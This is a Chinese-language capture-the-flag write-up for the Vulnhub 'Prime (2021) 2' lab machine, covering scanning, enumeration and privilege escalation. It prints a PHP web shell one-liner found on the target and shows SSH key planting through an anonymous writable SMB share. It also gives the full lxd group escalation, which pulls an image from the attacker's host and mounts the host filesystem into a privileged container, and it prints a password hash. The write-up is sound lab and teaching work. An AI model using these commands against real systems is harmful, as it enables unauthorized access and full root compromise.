[Vulnhub]Prime (2021) 2靶机详解WP
城南花已开 Lv5

信息收集

服务探测

这个靶机我在VirtualBox还开不起来,导入到VMware workstation就正常了

端口开的还挺多,先看看80端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
❯ ip=192.168.19.128
❯ rustscan -a $ip -- -A -sV|tee scan.txt
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
I scanned ports so fast, even my computer was surprised.

[~] The config file is expected to be at "/home/ctf/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.19.128:22
Open 192.168.19.128:80
Open 192.168.19.128:139
Open 192.168.19.128:445
Open 192.168.19.128:10123
[~] Starting Script(s)
Scanned at 2024-12-11 19:51:07 CST for 91s
PORT STATE SERVICE REASON VERSION
22/tcp open tcpwrapped syn-ack ttl 63
| ssh-hostkey:
| 3072 0a:16:3f:c8:1a:7d:ff:f5:7a:66:05:63:76:7c:5a:95 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDKpxr6WQ9iNWlOTavpHHODTgb+G7eWY6SGUNHXdCf0c5/UfA/Bri6aLUEuy4sv6d2g/1SuBerpF82MGuyw7GH5Euh9u7QkFESTmEW75SwqiP7XeRSw1uxu3Mjg7467qeoLS5j/cIJdOGJR7OyZpQZKmN7j8bbyFw/ZgwEsr5dZzxBL6jonGY9Ms6uNDlCv0TE0N0wC/VKpzz5VfYB/88Cs7CKlEsOTdWarKD70S49xLXUVKJmoWUoxMNM8iXdN+uwSrTOBeLiKc7/LU2yhDS/+c/+8r3b7ss2VgTj3zvoXLVAJSBEUnX6fP/0zDxKILttj+rZhVrKdxewjiFU1JndjY2f4P5J+ugypQDWRTiiU0RIFez+4hNex8h7SvRV1iKqND2qBk1HMZNU0mqIjIfJ3QxFLGFOW6Po/0uXzEYbrkCv4ENrCUm5kwN8+/u/1wH2RAKTGCzjcHS60oSdpps/uv/ugsP5tMCxgfnyvHzgg1ie4uV+elG/Fp6PqR03YmM8=
| 256 f5:d3:36:44:43:40:3d:11:9b:d1:a6:24:9f:99:93:f7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGxxEWdO4HTDIvYJI6pxeLoTxqG4E5E12Skl+WGpQTkd
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.46 ((Ubuntu))
|_http-title: HackerCTF
|_http-server-header: Apache/2.4.46 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-favicon: Unknown favicon MD5: B214420B4A40927A3E19330A43080E56
139/tcp open netbios-ssn? syn-ack ttl 63
445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
10123/tcp open tcpwrapped syn-ack ttl 63
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 2.6.18 (92%), Cisco Unified Communications Manager VoIP adapter (92%), Linux 2.6.26 (PCLinuxOS) (92%), Linux 2.6.30 (92%), Dish Network Hopper media device (91%), Linux 2.6.32 (91%), Linux 3.2.0 (91%), Linux 3.7 (91%), MikroTik RouterOS 6.15 (Linux 3.3.5) (91%), Tomato 1.27 - 1.28 (Linux 2.4.20) (91%)
No exact OS matches for host (test conditions non-ideal).

首页index没啥有价值的信息,尝试扫一下目录

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
❯ gobuster dir -u $ip -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x .txt,.html,.php, -t 20 -b 403,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.19.128
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php,
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/. (Status: 200) [Size: 5761]
/index.html (Status: 200) [Size: 5761]
/images (Status: 301) [Size: 317] [--> http://192.168.19.128/images/]
/css (Status: 301) [Size: 314] [--> http://192.168.19.128/css/]
/server (Status: 301) [Size: 317] [--> http://192.168.19.128/server/]
/wp (Status: 301) [Size: 313] [--> http://192.168.19.128/wp/]
/javascript (Status: 301) [Size: 321] [--> http://192.168.19.128/javascript/]
/. (Status: 200) [Size: 5761]
Progress: 1038215 / 1038220 (100.00%)
===============================================================
Finished
===============================================================

有个/wp目录下,还有个Wordpress的CMS,用Wpscan在扫一下好了,看看有没有什么收获

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
❯ wpscan --url http://192.168.19.128/wp/ -e u,vp
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://192.168.19.128/wp/ [192.168.19.128]
[+] Started: Wed Dec 11 20:00:38 2024

Interesting Finding(s):

------------省略--------------------
[+] WordPress theme in use: twentytwentyone
| Location: http://192.168.19.128/wp/wp-content/themes/twentytwentyone/
| Last Updated: 2024-11-13T00:00:00.000Z
| Readme: http://192.168.19.128/wp/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 2.4
| Style URL: http://192.168.19.128/wp/wp-content/themes/twentytwentyone/style.css?ver=1.3
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.19.128/wp/wp-content/themes/twentytwentyone/style.css?ver=1.3, Match: 'Version: 1.3'

[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] No plugins Found.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <==================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Wed Dec 11 20:00:40 2024
[+] Requests Done: 56
[+] Cached Requests: 6
[+] Data Sent: 14.74 KB
[+] Data Received: 419.555 KB
[+] Memory used: 330.215 MB
[+] Elapsed time: 00:00:02

好像是啥也没有,就枚举到一个admin用户,也没装插件

其他方向看一下,之前还扫到一个端口为10123,看样子是一个用户的家目录

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ curl $ip:10123/.bash_history
sudo su -
ifconfig
ls
cd upload/
ls
ls -l
cd ..
ls -l
chmod 755 jarves/
❯ curl $ip:10123/.mysql_history
_HiStOrY_V2_
exit
❯ curl $ip:10123/something
I wanted to make it my home directory. But idea must be changed.


Thanks,
jarves
❯ curl $ip:10123/upload/shell.php
<?php echo system($_GET['cmd']);?>

拿到这么些信息,得知有个用户jarvers还有个backdoor文件,一个疑似mysql密码_HiStOrY_V2_

那接着看smb服务能否匿名访问,巧了,可以,里面有个welcome的文件夹,映射上面那个端口的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ smbclient -N -L \\\\$ip\\

Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
welcome Disk Welcome to Hackerctf LAB
IPC$ IPC IPC Service (hackerctflab server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 192.168.19.128 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
❯ smbclient -N \\\\$ip\\welcome
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sat May 8 15:42:49 2021
.. D 0 Sat May 8 02:38:58 2021
.mysql_history H 18 Sat May 8 15:05:03 2021
.profile H 807 Sat Mar 20 00:02:58 2021
upload D 0 Sun May 9 19:19:02 2021
.sudo_as_admin_successful H 0 Sat May 8 13:34:48 2021
.bash_logout H 220 Sat Mar 20 00:02:58 2021
.cache DH 0 Sat May 8 02:39:15 2021
something N 82 Sat May 8 00:18:09 2021
secrets N 0 Sat May 8 00:15:17 2021
.bash_history H 72 Sun May 9 19:23:26 2021
.bashrc H 3771 Sat Mar 20 00:02:58 2021

19475088 blocks of size 1024. 9687800 blocks available
smb: \>

常用的smbclient命令

-L 列出目标主机上的共享资源
-U 指定用户名
-N 跳过密码提示,使用空密码
-I 指定目标主机的 IP 地址
-W 指定域名
-p 指定端口号
-m 指定 SMB 协议版本
-c 执行连接后的命令
-s 指定自定义配置文件
-v 启用详细输出(调试)
-A 使用凭据文件
-h 显示帮助信息

用户提权

我们尝试在上面新建一个.ssh把我们的公钥写进去,看一下能否ssh连上去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
smb: \> mkdir .ssh
smb: \> cd .ssh
smb: \.ssh\> put authorized_keys
putting file authorized_keys as \.ssh\authorized_keys (359.8 kb/s) (average 359.9 kb/s)
❯ ssh jarves@$ip -i id_rsa
The authenticity of host '192.168.19.128 (192.168.19.128)' can't be established.
ED25519 key fingerprint is SHA256:nB+xRANNsBufP64KnDjxamkvfGVw1eJUiz/kCMnJ9wU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.19.128' (ED25519) to the list of known hosts.
Welcome to Ubuntu 21.04 (GNU/Linux 5.11.0-16-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Wed Dec 11 01:07:47 PM UTC 2024

System load: 0.0 Memory usage: 25% Processes: 238
Usage of /: 45.1% of 18.57GB Swap usage: 0% Users logged in: 0

=> There were exceptions while processing one or more plugins. See
/var/log/landscape/sysinfo.log for more information.

* Pure upstream Kubernetes 1.21, smallest, simplest cluster ops!

https://microk8s.io/

9 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Sun May 9 11:14:10 2021
jarves@hackerctflab:~$

Root提权

看到本地有个mysql尝试之前获取的密码

1
2
3
4
5
6
7
8
jarves@hackerctflab:/var/www$ ss -luntp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
-----------------省略-------------------------
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
[::]:*
jarves@hackerctflab:/var/www$ mysql -u root -p
Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)

登不上😅,看了下sudo权限也没有,发现jarves用户隶属于lxd这个用户组

1
2
jarves@hackerctflab:/var/www$ id
uid=1000(jarves) gid=1000(jarves) groups=1000(jarves),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd)

可以在hacktricks找到lxd利用

这篇文章你只能用方案一,因为方案二需要sudo运行,你并不知道jarves用户的密码

lxd/lxc Group - 特权升级 | HackTricks — lxd/lxc Group - Privilege escalation | HackTricks

LXCLinux Containers)是一种操作系统级别的虚拟化技术,它允许在单一的物理主机上创建和管理多个隔离的 Linux 容器。每个容器运行其自己的操作系统环境,可以看作是一个轻量级的虚拟机,但与传统虚拟化(如 KVM 或 VMware)不同,LXC 容器不需要模拟硬件资源,而是共享宿主操作系统的内核

  • LXC 是一种底层的容器技术,提供完整的容器管理功能,包括网络、存储、进程管理等。LXC 更接近传统虚拟化,适用于需要完整操作系统级别隔离的场景。
  • Docker 是基于 LXC 的更高层次的容器管理工具,它专注于简化应用程序的打包和部署。Docker 通过使用 LXC 或其他容器运行时(如 containerd)来提供容器化支持,但它在 LXC 的基础上简化了许多操作。

如果现在根据hacktricks上面的文档一般是完不成利用的

因为build-lxd已不再受支持,这里我卡了很久

image

我也懒得去git 回溯到老的Distrobuilder 2.0版本进行构建镜像了

但是在HTB论坛上找到一篇帖子里面的评论有构建好的版本

直接下载即可

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
jarves@hackerctflab:~/tmep$ wget 172.20.34.190:8000/lxd.tar.xz
--2024-12-11 14:59:57-- http://172.20.34.190:8000/lxd.tar.xz
Connecting to 172.20.34.190:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 896 [application/x-xz]
Saving to: ‘lxd.tar.xz’

lxd.tar.xz 100%[===========>] 896 --.-KB/s in 0s

2024-12-11 14:59:57 (8.06 MB/s) - ‘lxd.tar.xz’ saved [896/896]

jarves@hackerctflab:~/tmep$ wget 172.20.34.190:8000/rootfs.squashfs
--2024-12-11 15:00:02-- http://172.20.34.190:8000/rootfs.squashfs
Connecting to 172.20.34.190:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3092480 (2.9M) [application/octet-stream]
Saving to: ‘rootfs.squashfs’

rootfs.squashfs 100%[===========>] 2.95M 2.85MB/s in 1.0s

2024-12-11 15:00:03 (2.85 MB/s) - ‘rootfs.squashfs’ saved [3092480/3092480]

jarves@hackerctflab:~/tmep$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
jarves@hackerctflab:~/tmep$ lxc image list
+--------+--------------+--------+-----------------------------------------+--------------+-----------+---------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION
| ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-----------------------------------------+--------------+-----------+---------+------------------------------+
| alpine | 830069252205 | no | Alpinelinux 3.18 x86_64 (20241211_0022) | x86_64 | CONTAINER | 2.95MiB | Dec 11, 2024 at 3:00pm (UTC) |
+--------+--------------+--------+-----------------------------------------+--------------+-----------+---------+------------------------------+
jarves@hackerctflab:~/tmep$ lxc init alpine privesc -c security.privileged=true
Creating privesc
Error: Failed creating instance record: Failed initialising instance: Failed getting root disk: No root device could be found

我用wget把下载的镜像复制到靶机

可以正常导入,lxc image list显示也有alpine镜像不过在我利用的时候出错了

原因大概是因为你没有进行初始化,需要先执行一遍lxd init

image

这里我是先看了一遍大概的选项,其实一路按enter键即可

后面再依次执行利用的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
jarves@hackerctflab:~/tmep$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, ceph, dir, lvm, powerflex) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:
Size in GiB of the new loop device (1GiB minimum) [default=5GiB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like the LXD server to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]:
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
jarves@hackerctflab:~/tmep$ lxc init alpine privesc -c security.privileged=true
Creating privesc
jarves@hackerctflab:~/tmep$ lxc list
+---------+---------+----------------------+-----------------------------------------------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+---------+---------+----------------------+-----------------------------------------------+-----------+-----------+
| privesc | RUNNING | 10.192.193.77 (eth0) | fd42:f30f:4652:7bee:216:3eff:fe5d:9508 (eth0) | CONTAINER | 0 |
+---------+---------+----------------------+-----------------------------------------------+-----------+-----------+

可以看到已经创建了一个名为privesc的容器了

  • **-c**:表示设置容器的配置项。
  • **security.privileged=true**:表示启用容器的特权模式。设置为 true 时,容器会以更高的权限运行,拥有类似于宿主机 root 用户的访问权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
jarves@hackerctflab:~/tmep$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Device host-root added to privesc
jarves@hackerctflab:~/tmep$ lxc start privesc
jarves@hackerctflab:~/tmep$ lxc exec privesc /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # cd /mnt/root
/mnt/root # ls
bin dev lib libx32 mnt root snap sys var
boot etc lib32 lost+found opt run srv tmp
cdrom home lib64 media proc sbin swap.img usr
/mnt/root # cd root/
/mnt/root/root # ls
auto.py data.zip service shell shell32 snap wp.sql
  • **privesc**:这是容器的名称。在这个命令中,privesc 是你要配置的 LXC 容器名称。
  • **host-root**:这是你为设备指定的名称。它是 LXC 配置中对该设备的引用,可以任意命名。
  • **disk**:这是设备类型,表示你要挂载的是一个磁盘设备。
  • **source=/**:宿主机的源路径,表示你想挂载宿主机的根文件系统 /
  • **path=/mnt/root**:容器内的挂载路径,表示你希望将宿主机的 / 挂载到容器内的 /mnt/root 目录。
  • **recursive=true**:表示递归挂载整个目录结构。如果你挂载的是一个目录,设置 recursive=true 将会递归挂载该目录下的所有子目录和文件。

最后就结束了,到后面这个靶机是没有flag的,拿到root用户就算成功了🥳

如果更进一步的话,我想拿个jarves的密码,读一下passwdshadow

1
2
3
cat hash
jarves:$6$bh9b6tMU.UIAzSq6$m6KFceXgSBAI/lnyIXVJK3t.5MnTRbU8zna08doU0OED53FgvXLo6vIzovX2TdXHPMPMAMtUFIZKAuriKfWCo1:1000:1000:jarves:/home/jarves:/bin/bash
❯ john hash

算了,半小时了还没出,放弃了

其他都还好,就上面lxc的利用卡了好一会,还有distrobuilder用源码安装的时候make太慢了,校园网挂了梯子还不行👿

镜像下载:https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/20241124_0023/lxd.tar.xz

起点:包括,问题构建阿尔卑斯 - HTB 内容 - Hack The Box :: 论坛 — Starting point: Included, problem building Alpine - HTB Content - Hack The Box :: Forums](https://forum.hackthebox.com/t/starting-point-included-problem-building-alpine/316032/13)

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 258.9k